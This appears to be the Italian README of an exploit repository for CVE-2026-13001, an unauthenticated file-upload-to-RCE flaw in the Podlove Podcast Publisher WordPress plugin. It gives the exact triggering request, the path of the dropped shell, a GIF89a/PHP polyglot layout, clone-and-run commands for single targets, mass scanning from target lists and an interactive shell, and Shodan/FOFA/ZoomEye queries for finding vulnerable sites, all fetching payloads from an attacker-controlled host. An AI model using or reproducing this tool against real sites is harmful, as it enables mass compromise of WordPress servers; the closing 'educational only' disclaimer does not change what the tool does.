
Exploit per CVE-2026-13001: RCE non autenticata in Podlove Podcast Publisher tramite confusione di estensione. Include scansione di massa, shell interattiva e payload PHP polyglot GIF89a.
CVSS 9.8 (Critico) | Caricamento arbitrario di file non autenticato che porta all'esecuzione remota di codice
Vulnerabilità critica nel plugin WordPress Podlove Podcast Publisher (versioni fino alla 4.5.1 inclusa) che consente ad aggressori non autenticati di caricare file PHP arbitrari sul server tramite la funzionalità di cache delle immagini, portando all'esecuzione remota di codice (RCE).
La vulnerabilità sfrutta una discrepanza tra due funzioni interne che analizzano le estensioni dei file in modo diverso:
| Funzione | Metodo | Input: payload.php?.gif | Risultato |
|---|---|---|---|
is_image() | basename() then pathinfo() | payload.php?.gif | .gif (supera la validazione) |
extract_file_extension() | parse_url() then pathinfo() | /payload.php | .php (salvato su disco) |
La vulnerabilità esiste perché due funzioni nel plugin Podlove analizzano lo stesso URL ma estraggono estensioni di file diverse:
is_image() — Validazione (in lib/helper.php)// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif" <- BYPASS!
La funzione controlla:
exif_imagetype() - richiede un'intestazione immagine valida (GIF89a)wp_check_filetype_and_ext()Poiché basename() include la stringa di query, l'estensione appare come gif - non nella lista nera.
extract_file_extension() — Nomenclatura del file (in lib/model/image.php)// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php" (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"
Il file viene salvato con l'estensione .php sul disco.
1. L'aggressore ospita un poliglotta GIF89a PHP su: attacker.com/payload.php
(Il file inizia con un'intestazione GIF89a ma contiene codice PHP)
2. Lo sfruttamento aggiunge ?.gif all'URL: payload.php?.gif
Poi codifica in esadecimale l'URL completo
3. Attiva il download della cache:
GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test
4. Elaborazione del plugin:
a. Scarica il file dall'URL dell'aggressore
b. is_image() controlla il contenuto: intestazione GIF89a rilevata - SUPERATO
c. is_image() controlla l'estensione: basename vede "gif" - SUPERATO
d. extract_file_extension() usa il percorso di parse_url: ottiene "php"
e. File salvato come: test_original.php
5. Posizione del file:
/wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php
6. L'aggressore accede al file con i parametri -> RCE ottenuta
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test -v
python3 exploit.py -f targets.txt \
-s https://yourserver.com/shell_polyglot.gif.php \
-o vuln.txt -t 15 -v
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test --debug
-u, --url URL di un singolo bersaglio
-f, --file File contenente URL dei bersagli (uno per riga)
-s, --shell URL che ospita il poliglotta GIF89a PHP
--filename Nome personalizzato per il file in cache (predefinito: shell)
--shell-url URL diretto per la modalità interattiva
-o, --output File di output per i bersagli vulnerabili (modalità batch)
-t, --threads Numero di thread (predefinito: 10)
-v, --verbose Output verboso
--debug Output di debug (mostra tutte le richieste HTTP)
--no-payload-test Salta il test di accessibilità del payload
Il file shell_polyglot.gif.php è un file poliglotta valido sia come immagine GIF che come PHP:
GIF89a <- Intestazione GIF valida (supera il controllo exif_imagetype)
/* <- Inizio del commento (i dati binari GIF sono commentati per PHP)
<?php <- Il codice PHP inizia qui
// ... code ...
?>
Importante: Il poliglotta deve essere ospitato come file statico (ad es., Cloudflare R2, AWS S3, nginx senza PHP). Se il server di hosting elabora PHP, il codice viene eseguito sul server di hosting invece di essere consegnato come contenuto grezzo al bersaglio.
# FOFA
body="podlove-podcasting-plugin-for-wordpress"
# Shodan
http.html:"podlove"
# ZoomEye
app:"Podlove Podcast Publisher"
Uno sfruttamento riuscito produce esecuzione remota di codice come utente del server web:
wp-content/cache/podlove/podlove_image_cache_urlQuesta vulnerabilità è un bypass della correzione per CVE-2025-10147 (Podlove <= 4.2.6).
| Aspetto | CVE-2025-10147 (v4.2.6) | CVE-2026-13001 (v4.5.1) |
|---|
Vedi analysis/CVE_COMPARISON.md per un confronto dettagliato.
SOLO A SCOPO EDUCATIVO E DI TEST AUTORIZZATI.
Questo strumento è destinato a ricercatori di sicurezza e penetration tester che dispongono di autorizzazione scritta esplicita per testare i sistemi target. L'accesso non autorizzato ai sistemi informatici è illegale. Gli autori non si assumono alcuna responsabilità per l'uso improprio di questo strumento.
ghostpel-sec — Ricerca sulla sicurezza e sviluppo di exploit
Questo progetto è concesso in licenza secondo la ghostpel-sec Security Research License.
| Campo | Valore |
|---|
| CVE ID | CVE-2026-13001 |
| CVSS | 9.8 (Critico) |
| CWE | CWE-20 (Validazione dell'input impropria) |
| Plugin | Podlove Podcast Publisher |
| Affetti | Versioni fino alla 4.5.1 incluse |
| Corretto | 4.5.2 |
| Tipo | Caricamento arbitrario di file non autenticato a RCE |
| Ricercatore | Talal Nasraddeen (tramite Wordfence) |
| Pubblicato | 14 luglio 2026 |
| Causa principale | Nessuna validazione del tipo di file | Bypass della validazione tramite confusione di estensione |
| Tecnica | Caricamento diretto di file PHP | Poliglotta GIF89a + trucco dell'URL query |
| Correzione applicata | Aggiunta is_image() con lista nera | Riparata la coerenza dell'analisi delle estensioni |